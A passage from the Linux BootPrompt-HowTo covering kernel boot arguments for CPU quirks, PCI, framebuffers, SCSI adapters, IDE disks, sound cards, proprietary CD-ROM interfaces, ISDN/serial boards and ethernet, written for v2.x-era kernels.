Some i387 coprocessor chips have bugs that show up when used in 32 bit protected mode. For example, some of the early ULSI-387 chips would cause solid lockups while performing floating point calculations, apparently due to a bug in the FRSAV/FRRESTOR instructions. Using the `no387' boot argument causes Linux to ignore the math coprocessor even if you have one. Of course you must then have your kernel compiled with math emulation support! This may also be useful if you have one of those really old 386 machines that could use an 80287 FPU, as Linux can't use an 80287.

The `no-hlt' Argument

The i386 (and successors thereof) family of CPUs have a `hlt' instruction which tells the CPU that nothing is going to happen until an external device (keyboard, modem, disk, etc.) calls upon the CPU to do a task. This allows the CPU to enter a `low-power' mode where it sits like a zombie until an external device wakes it up (usually via an interrupt). Some of the early i486DX-100 chips had a problem with the `hlt' instruction, in that they couldn't reliably return to operating mode after this instruction was used. Using the `no-hlt' instruction tells Linux to just run an infinite loop when there is nothing else to do, and to not halt your CPU when there is no activity. This allows people with these broken chips to use Linux, although they would be well advised to seek a replacement through a warranty where possible.

The `no-scroll' Argument

Using this argument at boot disables scrolling features that make it difficult to use Braille terminals.

The `noapic' Argument

Using this option tells a SMP kernel to not use some of the advanced features of the interrupt controller on multi processor machines. Use of this option may be required when a device (such as those using ne2k-pci or 3c59xi drivers) stops generating interrupts (i.e. cat /proc/interrupts shows the same interrupt count.) See linux/Documentation/IO-APIC.txt for more information.

The `noisapnp' Argument

If ISA PnP is built into the kernel, this will disable it.

The `nomce' Argument

Some newer processors have the ability to self-monitor and detect inconsistencies that should not regularly happen. If an inconsistency is detected, a Machine Check Exception will take place and the system will be halted (rather than plundering forward and corrupting your data). You can use this argument to disable this feature, but be sure to check that your CPU is not overheating or otherwise faulty first.

The `nosmp' Argument

Use of this option will tell a SMP kernel on a SMP machine to operate single processor. Typically only used for debugging and determining if a particular problem is SMP related.

The `notsc' Argument

Use of this option will tell the kernel to not use the Time Stamp Counter for anything, even if the CPU has one.

The `nofxsr" Argument

Use of this option will tell the kernel to not use any speed-up tricks involving the floating point unit, even if the processor supports them.

The `panic=' Argument

In the unlikely event of a kernel panic (i.e. an internal error that has been detected by the kernel, and which the kernel decides is serious enough to moan loudly and then halt everything), the default behaviour is to just sit there until someone comes along and notices the panic message on the screen and reboots the machine. However if a machine is running unattended in an isolated location it may be desirable for it to automatically reset itself so that the machine comes back on line. For example, using panic=30 at boot would cause the kernel to try and reboot itself 30 seconds after the kernel panic happened. A value of zero gives the default behaviour, which is to wait forever.

Note that this timeout value can also be read and set via the /proc/sys/kernel/panic sysctl interface.

The `pirq=' Argument

Using this option tells a SMP kernel information on the PCI slot versus IRQ settings for SMP motherboards which are unknown (or known to be blacklisted). See linux/Documentation/IO-APIC.txt for more information.

The `profile=' Argument

Kernel developers can profile how and where the kernel is spending its CPU cycles in an effort to maximize efficiency and performance. This option lets you set the profile shift count at boot. Typically it is set to two. You need a tool such as readprofile.c that can make use of the /proc/profile output.

The `quiet' Argument

This is pretty much the opposite of the `debug' argument. When this is given, only important and system critical kernel messages are printed to the console. Normal messages about hardware detection at boot are suppressed.

The `reboot=' Argument

This option controls the type of reboot that Linux will do when it resets the computer (typically via /sbin/init handling a Control-Alt-Delete). The default as of v2.0 kernels is to do a `cold' reboot (i.e. full reset, BIOS does memory check, etc.) instead of a `warm' reboot (i.e. no full reset, no memory check). It was changed to be cold by default since that tends to work on cheap/broken hardware that fails to reboot when a warm reboot is requested. To get the old behaviour (i.e. warm reboots) use reboot=w or in fact any word that starts with w will work.

Why would you bother? Some disk controllers with cache memory on board can sense a warm reboot, and flush any cached data to disk. Upon a cold boot, the card may be reset and the write-back data in your cache card's memory is lost. Others have reported systems that take a long time to go through the memory check, and/or SCSI BIOSes that take longer to initialize on a cold boot as a good reason to use warm reboots.

The `reserve=' Argument

This is used to protect I/O port regions from probes. The form of the command is:

reserve=iobase,extent[,iobase,extent]...

In some machines it may be necessary to prevent device drivers from checking for devices (auto-probing) in a specific region. This may be because of poorly designed hardware that causes the boot to freeze (such as some ethercards), hardware that is mistakenly identified, hardware whose state is changed by an earlier probe, or merely hardware you don't want the kernel to initialize.

The reserve boot-time argument addresses this problem by specifying an I/O port region that shouldn't be probed. That region is reserved in the kernel's port registration table as if a device has already been found in that region (with the name reserved). Note that this mechanism shouldn't be necessary on most machines. Only when there is a problem or special case would it be necessary to use this.

The I/O ports in the specified region are protected against device probes that do a check_region() prior to probing blindly into a region of I/O space. This was put in to be used when some driver was hanging on a NE2000, or misidentifying some other device as its own. A correct device driver shouldn't probe a reserved region, unless another boot argument explicitly specifies that it do so. This implies that reserve will most often be used with some other boot argument. Hence if you specify a reserve region to protect a specific device, you must generally specify an explicit probe for that device. Most drivers ignore the port registration table if they are given an explicit address.

For example, the boot line

        reserve=0x300,32  blah=0x300

keeps all device drivers except the driver for `blah' from probing 0x300-0x31f.

As usual with boot-time specifiers there is an 11 parameter limit, thus you can only specify 5 reserved regions per reserve keyword. Multiple reserve specifiers will work if you have an unusually complicated request.

The `vga=' Argument

Note that this is not really a boot argument. It is an option that is interpreted by LILO and not by the kernel like all the other boot arguments are. However its use has become so common that it deserves a mention here. It can also be set via using rdev -v or equivalently vidmode on the vmlinuz file. This allows the setup code to use the video BIOS to change the default display mode before actually booting the Linux kernel. Typical modes are 80x50, 132x44 and so on. The best way to use this option is to start with vga=ask which will prompt you with a list of various modes that you can use with your video adapter before booting the kernel. Once you have the number from the above list that you want to use, you can later put it in place of the `ask'. For more information, please see the file linux/Documentation/svga.txt that comes with all recent kernel versions.

Note that newer kernels (v2.1 and up) have the setup code that changes the video mode as an option, listed as Video mode selection support so you need to enable this option if you want to use this feature.


The Linux BootPrompt-HowTo: Boot Arguments to Control PCI Bus Behaviour (`pci=')

 Next Previous Contents

4. Boot Arguments to Control PCI Bus Behaviour (`pci=')

The `pci=' argument (not avail. in v2.0 kernels) can be used to change the behaviour of PCI bus device probing and device behaviour. Firstly the file linux/drivers/pci/pci.c checks for architecture independent pci= options. The remaining allowed arguments are handled in linux/arch/???/kernel/bios32.c and are listed below for ???=i386.

4.1 The `pci=bios' and `pci=nobios' Arguments

These are used to set/clear the flag indicating that the PCI probing is to take place via the PCI BIOS. The default is to use the BIOS.

4.2 The `pci=conf1' and `pci=conf2' Arguments

If PCI direct mode is enabled, the use of these enables either configuration Type 1 or Type 2. These implicitly clear the PCI BIOS probe flag (i.e. `pci=nobios') too.

4.3 The `pci=io=' Argument

If you get a message like PCI: Unassigned IO space for.../ then you may need to supply an I/O value with this option. From the source:

``Several BIOS'es forget to assign addresses to I/O ranges. We try to fix it here, expecting there are free addresses starting with 0x5800. Ugly, but until we come with better resource management, it's the only simple solution.''

4.4 The `pci=nopeer' Argument

This disables the default peer bridge fixup, which according to the source does the following:

``In case there are peer host bridges, scan bus behind each of them. Although several sources claim that the host bridges should have header type 1 and be assigned a bus number as for PCI2PCI bridges, the reality doesn't pass this test and the bus number is usually set by BIOS to the first free value.''

4.5 The `pci=nosort' Argument

Using this argument instructs the kernel to not sort the PCI devices during the probing phase.

4.6 The `pci=off' Argument

Using this option disables all PCI bus probing. Any device drivers that make use of PCI functions to find and initialize hardware will most likely fail to work.

4.7 The `pci=reverse' Argument

This option will reverse the ordering of the PCI devices on that PCI bus.


The Linux BootPrompt-HowTo: Boot Arguments for Video Frame Buffer Drivers

 Next Previous Contents

5. Boot Arguments for Video Frame Buffer Drivers

The `video=' argument (not avail. in v2.0 kernels) is used when the frame buffer device abstraction layer is built into the kernel. If that sounds complicated, well it isn't really too bad. It basically means that instead of having a different video program (the X11R6 server) for each brand of video card (e.g. XF86_S3, XF86_SVGA, ...), the kernel would have a built in driver available for each video card and export a single interface for the video program so that only one X11R6 server (XF86_FBDev) would be required. This is similar to how networking is now - the kernel has drivers available for each brand of network card and exports a single network interface so that just one version of a network program (like Netscape) will work for all systems, regardless of the underlying brand of network card.

The typical format of this argument is video=name:option1,option2,... where name is the name of a generic option or of a frame buffer driver. The video= option is passed from linux/init/main.c into linux/drivers/video/fbmem.c for further processing. Here it is checked for some generic options before trying to match to a known driver name. Once a driver name match is made, the comma separated option list is then passed into that particular driver for final processing. The list of valid driver names can be found by reading down the fb_drivers array in the file fbmem.c mentioned above.

Information on the options that each driver supports will eventually be found in linux/Documentation/fb/ but currently (v2.2) only a few are described there. Unfortunately the number of video drivers and the number of options for each one is content for another document itself and hence too much to list here.

If there is no Documentation file for your card, you will have to get the option information directly from the driver. Go to linux/drivers/video/ and look in the appropriate ???fb.c file (the ??? will be based on the card name). In there, search for a function with _setup in its name and you should see what options the driver tries to match, such as font or mode or...

5.1 The `video=map:...' Argument

This option is used to set/override the console to frame buffer device mapping. A comma separated list of numbers sets the mapping, with the value of option N taken to be the frame buffer device number for console N.

5.2 The `video=scrollback:...' Argument

A number after the colon will set the size of memory allocated for the scrollback buffer. (Use Shift and Page Up or Page Down keys to scroll.) A suffix of `k' or `K' after the number will indicate that the number is to be interpreted as kilobytes instead of bytes.

5.3 The `video=vc:...' Argument

A number, or a range of numbers (e.g. video=vc:2-5) will specify the first, or the first and last frame buffer virtual console(s). The use of this option also has the effect of setting the frame buffer console to not be the default console.


The Linux BootPrompt-HowTo: Boot Arguments for SCSI Peripherals.

 Next Previous Contents

6. Boot Arguments for SCSI Peripherals.

This section contains the descriptions of the boot args that are used for passing information about the installed SCSI host adapters, and SCSI devices.

6.1 Arguments for Mid-level Drivers

The mid level drivers handle things like disks, CD-ROMs and tapes without getting into host adapter specifics.

Maximum Probed LUNs (`max_scsi_luns=')

Each SCSI device can have a number of `sub-devices' contained within itself. The most common example is any of the SCSI CD-ROMs that handle more than one disk at a time. Each CD is addressed as a `Logical Unit Number' (LUN) of that particular device. But most devices, such as hard disks, tape drives and such are only one device, and will be assigned to LUN zero.

The problem arises with single LUN devices with bad firmware. Some poorly designed SCSI devices (old and unfortunately new) can not handle being probed for LUNs not equal to zero. They will respond by locking up, and possibly taking the whole SCSI bus down with them.

The kernel has a configuration option that allows you to set the maximum number of probed LUNs. The default is to only probe LUN zero, to avoid the problem described above.

To specify the number of probed LUNs at boot, one enters `max_scsi_luns=n' as a boot arg, where n is a number between one and eight. To avoid problems as described above, one would use n=1 to avoid upsetting such broken devices

SCSI Logging (`scsi_logging=')

Supplying a non-zero value to this boot argument turns on logging of all SCSI events (error, scan, mlqueue, mlcomplete, llqueue, llcomplete, hlqueue, hlcomplete). Note that better control of which events are logged can be obtained via the /proc/scsi/scsi interface if you aren't interested in the events that take place at boot before the /proc/ filesystem is accessible.

Parameters for the SCSI Tape Driver (`st=')

Some boot time configuration of the SCSI tape driver can be achieved by using the following:

        st=buf_size[,write_threshold[,max_bufs]]

The first two numbers are specified in units of kB. The default buf_size is 32kB, and the maximum size that can be specified is a ridiculous 16384kB. The write_threshold is the value at which the buffer is committed to tape, with a default value of 30kB. The maximum number of buffers varies with the number of drives detected, and has a default of two. An example usage would be:

        st=32,30,2

Full details can be found in the README.st file that is in the scsi directory of the kernel source tree.

6.2 Arguments for SCSI Host Adapter Drivers

General notation for this section:

scsi-id -- the ID that the host adapter uses to identify itself on the SCSI bus. Only some host adapters allow you to change this value, as most have it permanently specified internally. The usual default value is seven, but the Seagate and Future Domain TMC-950 boards use six.

parity -- whether the SCSI host adapter expects the attached devices to supply a parity value with all information exchanges. Specifying a one indicates parity checking is enabled, and a zero disables parity checking. Again, not all adapters will support selection of parity behaviour as a boot argument.

Adaptec aha151x, aha152x, aic6260, aic6360, SB16-SCSI (`aha152x=')

The aha numbers refer to cards and the aic numbers refer to the actual SCSI chip on these type of cards, including the Soundblaster-16 SCSI.

The probe code for these SCSI hosts looks for an installed BIOS, and if none is present, the probe will not find your card. Then you will have to use a boot argument of the form:

aha152x=iobase,irq,scsi-id,reconnect,parity

Note that if the driver was compiled with debugging enabled, a sixth value can be specified to set the debug level. The second to fifth values are also optional.

All the parameters are as described at the top of this section, and the reconnect value will allow device disconnect/reconnect if a non-zero value is used. Note that the parameters must be specified in order, meaning that if you want to specify a parity setting, then you will have to specify an iobase, irq, scsi-id and reconnect value as well.

Adaptec aha154x (`aha1542=')

These are the aha154x series cards. The aha1542 series cards have an i82077 floppy controller onboard, while the aha1540 series cards do not. These are busmastering cards, and have parameters to set the ``fairness'' that is used to share the bus with other devices. The boot argument looks like the following.

        aha1542=iobase[,buson,busoff[,dmaspeed]]

Valid iobase values are usually one of: 0x130, 0x134, 0x230, 0x234, 0x330, 0x334. Clone cards may permit other values.

The buson, busoff values refer to the number of microseconds that the card dominates the ISA bus. The defaults are 11us on, and 4us off, so that other cards (such as an ISA LANCE Ethernet card) have a chance to get access to the ISA bus.

The dmaspeed value refers to the rate (in MB/s) at which the DMA (Direct Memory Access) transfers proceed at. The default is 5MB/s. Newer revision cards allow you to select this value as part of the soft-configuration, older cards use jumpers. You can use values up to 10MB/s assuming that your motherboard is capable of handling it. Experiment with caution if using values over 5MB/s.

Adaptec aha274x, aha284x, aic7xxx (`aic7xxx=')

These boards can accept an argument of the form:

        aic7xxx=extended,no_reset

The extended value, if non-zero, indicates that extended translation for large disks is enabled. The no_reset value, if non-zero, tells the driver not to reset the SCSI bus when setting up the host adaptor at boot.

AdvanSys SCSI Host Adaptors (`advansys=')

The AdvanSys driver can accept up to four i/o addresses that will be probed for an AdvanSys SCSI card. Note that these values (if used) do not effect EISA or PCI probing in any way. They are only used for probing ISA and VLB cards. In addition, if the driver has been compiled with debugging enabled, the level of debugging output can be set by adding an 0xdeb[0-f] parameter. The 0-f allows setting the level of the debugging messages to any of 16 levels of verbosity.

Always IN2000 Host Adaptor (`in2000=')

Unlike other SCSI host boot arguments, the IN2000 driver uses ASCII string prefixes for most of its integer arguments. Here is a list of the supported arguments:

ioport:addr -- Where addr is IO address of a (usually ROM-less) card.

noreset -- No optional args. Prevents SCSI bus reset at boot time.

nosync:x -- x is a bitmask where the 1st 7 bits correspond with the 7 possible SCSI devices (bit 0 for device #0, etc). Set a bit to PREVENT sync negotiation on that device. The driver default is sync DISABLED on all devices.

period:ns -- ns is the minimum # of nanoseconds in a SCSI data transfer period. Default is 500; acceptable values are 250 to 1000.

disconnect:x -- x = 0 to never allow disconnects, 2 to always allow them. x = 1 does 'adaptive' disconnects, which is the default and generally the best choice.

debug:x If `DEBUGGING_ON' is defined, x is a bitmask that causes various types of debug output to printed - see the DB_xxx defines in in2000.h

proc:x -- If `PROC_INTERFACE' is defined, x is a bitmask that determines how the /proc interface works and what it does - see the PR_xxx defines in in2000.h

Some example usages are listed below:

        in2000=ioport:0x220,noreset
        in2000=period:250,disconnect:2,nosync:0x03
        in2000=debug:0x1e
        in2000=proc:3

AMD AM53C974 based hardware (`AM53C974=')

Unlike other drivers, this one does not use boot parameters to communicate i/o, IRQ or DMA channels. (Since the AM53C974 is a PCI device, there shouldn't be a need to do so.) Instead, the parameters are used to communicate the transfer modes and rates that are to be used between the host and the target device. This is best described with an example:

        AM53C974=7,2,8,15

This would be interpreted as follows: `For communication between the controller with SCSI-ID 7 and the device with SCSI-ID 2, a transfer rate of 8MHz in synchronous mode with max. 15 bytes offset should be negotiated.' More details can be found in the file linux/drivers/scsi/README.AM53C974

BusLogic SCSI Hosts (`BusLogic=')

With v2.x kernels, the BusLogic driver accepts many parameters. (Note the case in the above; upper case B and L!!!). There are simply too many to list here. A complete description is tucked away in the middle of the driver linux/drivers/scsi/BusLogic.c and searching for the string BusLogic= will put you right on it.

EATA SCSI Cards (`eata=')

As of late v2.0 kernels, the EATA drivers will accept a boot argument to specify the i/o base(s) to be probed. It is of the form:

        eata=iobase1[,iobase2][,iobase3]...[,iobaseN]

The driver will probe the addresses in the order that they are listed.

Future Domain TMC-8xx, TMC-950 (`tmc8xx=')

The probe code for these SCSI hosts looks for an installed BIOS, and if none is present, the probe will not find your card. Or, if the signature string of your BIOS is not recognized then it will also not be found. In either case, you will then have to use a boot argument of the form:

        tmc8xx=mem_base,irq

The mem_base value is the value of the memory mapped I/O region that the card uses. This will usually be one of the following values: 0xc8000, 0xca000, 0xcc000, 0xce000, 0xdc000, 0xde000.

Future Domain TMC-16xx, TMC-3260, AHA-2920 (`fdomain=')

The driver detects these cards according to a list of known BIOS ROM signatures. For a full list of known BIOS revisions, please see linux/drivers/scsi/fdomain.c as it has a lot of information at the top of that file. If your BIOS is not known to the driver, you can use an override of the form:

        fdomain=iobase,irq[,scsi_id]

IOMEGA Parallel Port / ZIP drive (`ppa=')

This driver is for the IOMEGA Parallel Port SCSI adapter which is embedded into the IOMEGA ZIP drives. It may also work with the original IOMEGA PPA3 device. The boot argument for this driver is of the form:

        ppa=iobase,speed_high,speed_low,nybble

with all but iobase being optionally specified values. If you wish to alter any of the three optional parameters, you are advised to read linux/drivers/scsi/README.ppa for details of what they control.

NCR5380 based controllers (`ncr5380=')

Depending on your board, the 5380 can be either i/o mapped or memory mapped. (An address below 0x400 usually implies i/o mapping, but PCI and EISA hardware use i/o addresses above 0x3ff.) In either case, you specify the address, the IRQ value and the DMA channel value. An example for an i/o mapped card would be: ncr5380=0x350,5,3. If the card doesn't use interrupts, then an IRQ value of 255 (0xff) will disable interrupts. An IRQ value of 254 means to autoprobe. More details can be found in the file linux/drivers/scsi/README.g_NCR5380

NCR53c400 based controllers (`ncr53c400=')

The generic 53c400 support is done with the same driver as the generic 5380 support mentioned above. The boot argument is identical to the above with the exception that no DMA channel is used by the 53c400.

NCR53c406a based controllers (`ncr53c406a=')

This driver uses a boot argument of the form:

        ncr53c406a=PORTBASE,IRQ,FASTPIO

where the IRQ and FASTPIO parameters are optional. An interrupt value of zero disables the use of interrupts. Using a value of one for the FASTPIO parameter enables the use of insl and outsl instructions instead of the single-byte inb and outb instructions. The driver can also use DMA as a compile-time option.

Pro Audio Spectrum (`pas16=')

The PAS16 uses a NCR5380 SCSI chip, and newer models support jumper-less configuration. The boot argument is of the form:

        pas16=iobase,irq

The only difference is that you can specify an IRQ value of 255, which will tell the driver to work without using interrupts, albeit at a performance loss. The iobase is usually 0x388.

Seagate ST-0x (`st0x=')

The probe code for these SCSI hosts looks for an installed BIOS, and if none is present, the probe will not find your card. Or, if the signature string of your BIOS is not recognized then it will also not be found. In either case, you will then have to use a boot argument of the form:

        st0x=mem_base,irq

The mem_base value is the value of the memory mapped I/O region that the card uses. This will usually be one of the following values: 0xc8000, 0xca000, 0xcc000, 0xce000, 0xdc000, 0xde000.

Trantor T128 (`t128=')

These cards are also based on the NCR5380 chip, and accept the following options:

        t128=mem_base,irq

The valid values for mem_base are as follows: 0xcc000, 0xc8000, 0xdc000, 0xd8000.

Ultrastor SCSI cards (`u14-34f=')

Note that there appears to be two independent drivers for this card, namely CONFIG_SCSI_U14_34F that uses u14-34f.c and CONFIG_SCSI_ULTRASTOR that uses ultrastor.c. It is the u14-34f one that (as of late v2.0 kernels) accepts a boot argument of the form:

        u14-34f=iobase1[,iobase2][,iobase3]...[,iobaseN]

The driver will probe the addresses in the order that they are listed.

Western Digital WD7000 cards (`wd7000=')

The driver probe for the wd7000 looks for a known BIOS ROM string and knows about a few standard configuration settings. If it doesn't come up with the correct values for your card, or you have an unrecognized BIOS version, you can use a boot argument of the form:

        wd7000=irq,dma,iobase

6.3 SCSI Host Adapters that don't Accept Boot Args

At present, the following SCSI cards do not make use of any boot-time parameters. In some cases, you can hard-wire values by directly editing the driver itself, if required.

        Adaptec aha1740 (EISA probing),
        NCR53c7xx,8xx (PCI, both drivers)
        Qlogic Fast (0x230, 0x330)
        Qlogic ISP (PCI)


The Linux BootPrompt-HowTo: Hard Disks

 Next Previous Contents

7. Hard Disks

This section lists all the boot args associated with standard MFM/RLL, ST-506, XT, and IDE disk drive devices. Note that both the IDE and the generic ST-506 HD driver both accept the `hd=' option.

7.1 IDE Disk/CD-ROM Driver Parameters

The IDE driver accepts a number of parameters, which range from disk geometry specifications, to support for advanced or broken controller chips. The following is a summary of all the possible boot arguments. For full details, you really should consult the file ide.txt in the linux/Documentation directory, from which this summary was extracted.

 "hdx="  is recognized for all "x" from "a" to "h", such as "hdc".
 "idex=" is recognized for all "x" from "0" to "3", such as "ide1".

 "hdx=noprobe"          : drive may be present, but do not probe for it
 "hdx=none"             : drive is NOT present, ignore cmos and do not probe
 "hdx=nowerr"           : ignore the WRERR_STAT bit on this drive
 "hdx=cdrom"            : drive is present, and is a cdrom drive
 "hdx=cyl,head,sect"    : disk drive is present, with specified geometry
 "hdx=autotune"         : driver will attempt to tune interface speed
                                to the fastest PIO mode supported,
                                if possible for this drive only.
                                Not fully supported by all chipset types,
                                and quite likely to cause trouble with
                                older/odd IDE drives.

 "idex=noprobe"         : do not attempt to access/use this interface
 "idex=base"            : probe for an interface at the addr specified,
                                where "base" is usually 0x1f0 or 0x170
                                and "ctl" is assumed to be "base"+0x206
 "idex=base,ctl"        : specify both base and ctl
 "idex=base,ctl,irq"    : specify base, ctl, and irq number
 "idex=autotune"        : driver will attempt to tune interface speed
                                to the fastest PIO mode supported,
                                for all drives on this interface.
                                Not fully supported by all chipset types,
                                and quite likely to cause trouble with
                                older/odd IDE drives.
 "idex=noautotune"      : driver will NOT attempt to tune interface speed
                                This is the default for most chipsets,
                                except the cmd640.
 "idex=serialize"       : do not overlap operations on idex and ide(x^1)

The following are valid ONLY on ide0, and the defaults for the base,ctl ports must not be altered.

 "ide0=dtc2278"         : probe/support DTC2278 interface
 "ide0=ht6560b"         : probe/support HT6560B interface
 "ide0=cmd640_vlb"      : *REQUIRED* for VLB cards with the CMD640 chip
                          (not for PCI -- automatically detected)
 "ide0=qd6580"          : probe/support qd6580 interface
 "ide0=ali14xx"         : probe/support ali14xx chipsets (ALI M1439/M1445)
 "ide0=umc8672"         : probe/support umc8672 chipsets

Everything else is rejected with a "BAD OPTION" message. Also note that there is an implied ide0=0x1f0 ide1=0x170 in the absence of any other ide boot args.

7.2 Standard ST-506 Disk Driver Options (`hd=')

The standard disk driver can accept geometry arguments for the disks similar to the IDE driver. Note however that it only expects three values (C/H/S) -- any more or any less and it will silently ignore you. Also, it only accepts `hd=' as an argument, i.e. `hda=', `hdb=' and so on are not valid here. The format is as follows:

        hd=cyls,heads,sects

If there are two disks installed, the above is repeated with the geometry parameters of the second disk.

7.3 XT Disk Driver Options (`xd=')

If you are unfortunate enough to be using one of these old 8 bit cards that move data at a whopping 125kB/s then here is the scoop. The probe code for these cards looks for an installed BIOS, and if none is present, the probe will not find your card. Or, if the signature string of your BIOS is not recognized then it will also not be found. In either case, you will then have to use a boot argument of the form:

        xd=type,irq,iobase,dma_chan

The type value specifies the particular manufacturer of the card, and are as follows: 0=generic; 1=DTC; 2,3,4=Western Digital, 5,6,7=Seagate; 8=OMTI. The only difference between multiple types from the same manufacturer is the BIOS string used for detection, which is not used if the type is specified.

The xd_setup() function does no checking on the values, and assumes that you entered all four values. Don't disappoint it. Here is an example usage for a WD1002 controller with the BIOS disabled/removed, using the `default' XT controller parameters:

        xd=2,5,0x320,3


The Linux BootPrompt-HowTo: The Sound Drivers

 Next Previous Contents

8. The Sound Drivers

With the sound driver(s) compiled into older kernels, it was virtually impossible to change the parameters that were selected at compile time. Now, each driver has an individual boot argument, and no defaults are set at compile time (i.e. you must supply a boot argument for older non-PNP ISA cards to be detected.) If information on your card is not here then check the files in linux/Documentation/sound/. You can typically use -1 for unused parameters or to disable various things like the 16 bit DMA channel(s).

8.1 The AD1848 (`ad1848=')

This takes an argument of the form:

ad1848=io,irq,dma,dma2,type

8.2 The Adlib (`adlib=')

This takes an argument of the form:

adlib=io

8.3 The MAD16 (`mad16=')

This takes an argument of the form:

mad16=io,irq,dma,dma16,mpu_io,mpu_irq.

8.4 The ProAudioSpectrum PAS16 (`pas2=')

This takes an argument of the form:

pas2=io,irq,dma,dma2,sbio,sbirq,sbdma,sbdma16

where the sb prefixed values are for the SoundBlaster emulation that the PAS16 provides. You should also use the sb= argument with the same values given for the SoundBlaster emulation.

8.5 The SoundBlaster (`sb=')

This takes an argument of the form:

sb=io,irq,dma,dma2.

8.6 The UART 401 (`uart401=')

This takes an argument of the form:

uart401=io,irq.

8.7 The UART 6850 (`uart6850=')

This takes an argument of the form:

uart6850=io,irq.

8.8 The Yamaha OPL2/OPL3/OPL4 FM Synthesizer (`opl3=')

This argument expects an I/O address only, and the most common one (for ISA cards) is opl3=0x388.

8.9 The Yamaha OPL3-SA FM Synthesizer (`opl3sa=')

This takes an argument of the form:

opl3sa=io,irq,dma,dma2,mpu_io,mpu_irq.

8.10 The Yamaha OPL3-SA2/SA3 FM Synthesizer (`opl3sa2=')

This takes an argument of the form:

opl3sa2=io,irq,dma,dma2,mss_io,mpu_io,ymode,loopback,isapnp,multiple


The Linux BootPrompt-HowTo: CD-ROMs (Non-SCSI/ATAPI/IDE)

 Next Previous Contents

9. CD-ROMs (Non-SCSI/ATAPI/IDE)

This section lists all the possible boot args pertaining to these older CD-ROM devices on proprietary interface cards. Note that this does not include SCSI or IDE/ATAPI CD-ROMs. See the appropriate section(s) for those types of CD-ROMs.

Note that most of these CD-ROMs have documentation files that you should read, and they are all in one handy place: linux/Documentation/cdrom.

9.1 The Aztech Interface (`aztcd=')

The syntax for this type of card is:

        aztcd=iobase[,magic_number]

If you set the magic_number to 0x79 then the driver will try and run anyway in the event of an unknown firmware version. All other values are ignored.

9.2 The CDU-31A and CDU-33A Sony Interface (`cdu31a=')

This CD-ROM interface is found on some of the Pro Audio Spectrum sound cards, and other Sony supplied interface cards. The syntax is as follows:

        cdu31a=iobase,[irq[,is_pas_card]]

Specifying an IRQ value of zero tells the driver that hardware interrupts aren't supported (as on some PAS cards). If your card supports interrupts, you should use them as it cuts down on the CPU usage of the driver.

The `is_pas_card' should be entered as `PAS' if using a Pro Audio Spectrum card, and otherwise it should not be specified at all.

9.3 The CDU-535 Sony Interface (`sonycd535=')

The syntax for this CD-ROM interface is:

        sonycd535=iobase[,irq]

A zero can be used for the I/O base as a `placeholder' if one wishes to specify an IRQ value.

9.4 The GoldStar Interface (`gscd=')

The syntax for this CD-ROM interface is:

        gscd=iobase

9.5 The ISP16 Interface (`isp16=')

The syntax for this CD-ROM interface is:

        isp16=[port[,irq[,dma]]][[,]drive_type]

Using a zero for irq or dma means that they are not used. The allowable values for drive_type are noisp16, Sanyo, Panasonic, Sony, and Mitsumi. Using noisp16 disables the driver altogether.

9.6 The Mitsumi Standard Interface (`mcd=')

The syntax for this CD-ROM interface is:

        mcd=iobase,[irq[,wait_value]]

The wait_value is used as an internal timeout value for people who are having problems with their drive, and may or may not be implemented depending on a compile time DEFINE.

9.7 The Mitsumi XA/MultiSession Interface (`mcdx=')

At present this `experimental' driver has a setup function, but no parameters are implemented yet (as of 1.3.15). This is for the same hardware as above, but the driver has extended features.

9.8 The Optics Storage Interface (`optcd=')

The syntax for this type of card is:

        optcd=iobase

9.9 The Phillips CM206 Interface (`cm206=')

The syntax for this type of card is:

        cm206=[iobase][,irq]

The driver assumes numbers between 3 and 11 are IRQ values, and numbers between 0x300 and 0x370 are I/O ports, so you can specify one, or both numbers, in any order. It also accepts `cm206=auto' to enable autoprobing.

9.10 The Sanyo Interface (`sjcd=')

The syntax for this type of card is:

        sjcd=iobase[,irq[,dma_channel]]

9.11 The SoundBlaster Pro Interface (`sbpcd=')

The syntax for this type of card is:

        sbpcd=iobase,type

where type is one of the following (case sensitive) strings: `SoundBlaster', `LaserMate', or `SPEA'. The I/O base is that of the CD-ROM interface, and not that of the sound portion of the card.


The Linux BootPrompt-HowTo: Serial and ISDN Drivers

 Next Previous Contents

10. Serial and ISDN Drivers

10.1 The ICN ISDN driver (`icn=')

This ISDN driver expects a boot argument of the form:

        icn=iobase,membase,icn_id1,icn_id2

where iobase is the i/o port address of the card, membase is the shared memory base address of the card, and the two icn_id are unique ASCII string identifiers. You only need the second identifier when using a 4B double card.

10.2 The PCBIT ISDN driver (`pcbit=')

This boot argument takes integer pair arguments of the form:

        pcbit=membase1,irq1[,membase2,irq2]

where membaseN is the shared memory base of the N'th card, and irqN is the interrupt setting of the N'th card. The default is IRQ 5 and membase 0xD0000.

10.3 The Teles ISDN driver (`teles=')

This ISDN driver expects a boot argument of the form:

        teles=iobase,irq,membase,protocol,teles_id

where iobase is the i/o port address of the card, membase is the shared memory base address of the card, irq is the interrupt channel the card uses, and teles_id is the unique ASCII string identifier.

10.4 The DigiBoard Driver (`digi=')

The DigiBoard driver accepts a string of six comma separated identifiers or integers. The 6 values in order are:

        Enable/Disable this card
        Type of card: PC/Xi(0), PC/Xe(1), PC/Xeve(2), PC/Xem(3)
        Enable/Disable alternate pin arrangement
        Number of ports on this card
        I/O Port where card is configured (in HEX if using string identifiers)
        Base of memory window (in HEX if using string identifiers)

An example of a correct boot prompt argument (in both identifier and integer form) is:

        digi=E,PC/Xi,D,16,200,D0000
        digi=1,0,0,16,512,851968

Note that the driver defaults to an i/o of 0x200 and a shared memory base of 0xD0000 in the absence of a digi= boot argument. There is no autoprobing performed. More details can be found in the file linux/Documentation/digiboard.txt.

10.5 The RISCom/8 Multiport Serial Driver (`riscom8=')

Up to four boards can be supported by supplying four unique i/o port values for each individual board installed. Other details can be found in the file linux/Documentation/riscom8.txt.

10.6 The Baycom Serial/Parallel Radio Modem (`baycom=')

The format of the boot argument for these devices is:

        baycom=modem,io,irq,options[,modem,io,irq,options]

Using modem=1 means you have the ser12 device, modem=2 means you have the par96 device. Using options=0 means use hardware DCD, and options=1 means use software DCD. The io and irq are the i/o port base and interrupt settings as usual. There is more details in the file README.baycom which is currently in the /linux/drivers/char/ directory.


The Linux BootPrompt-HowTo: Other Hardware Devices

 Next Previous Contents

11. Other Hardware Devices

Any other devices that didn't fit into any of the above categories got lumped together here.

11.1 Ethernet Devices (`ether=', `netdev=')

Different drivers make use of different parameters, but they all at least share having an IRQ, an I/O port base value, and a name. In its most generic form, it looks something like this:

        ether=irq,iobase[,param_1[,param_2,...param_8]]],name

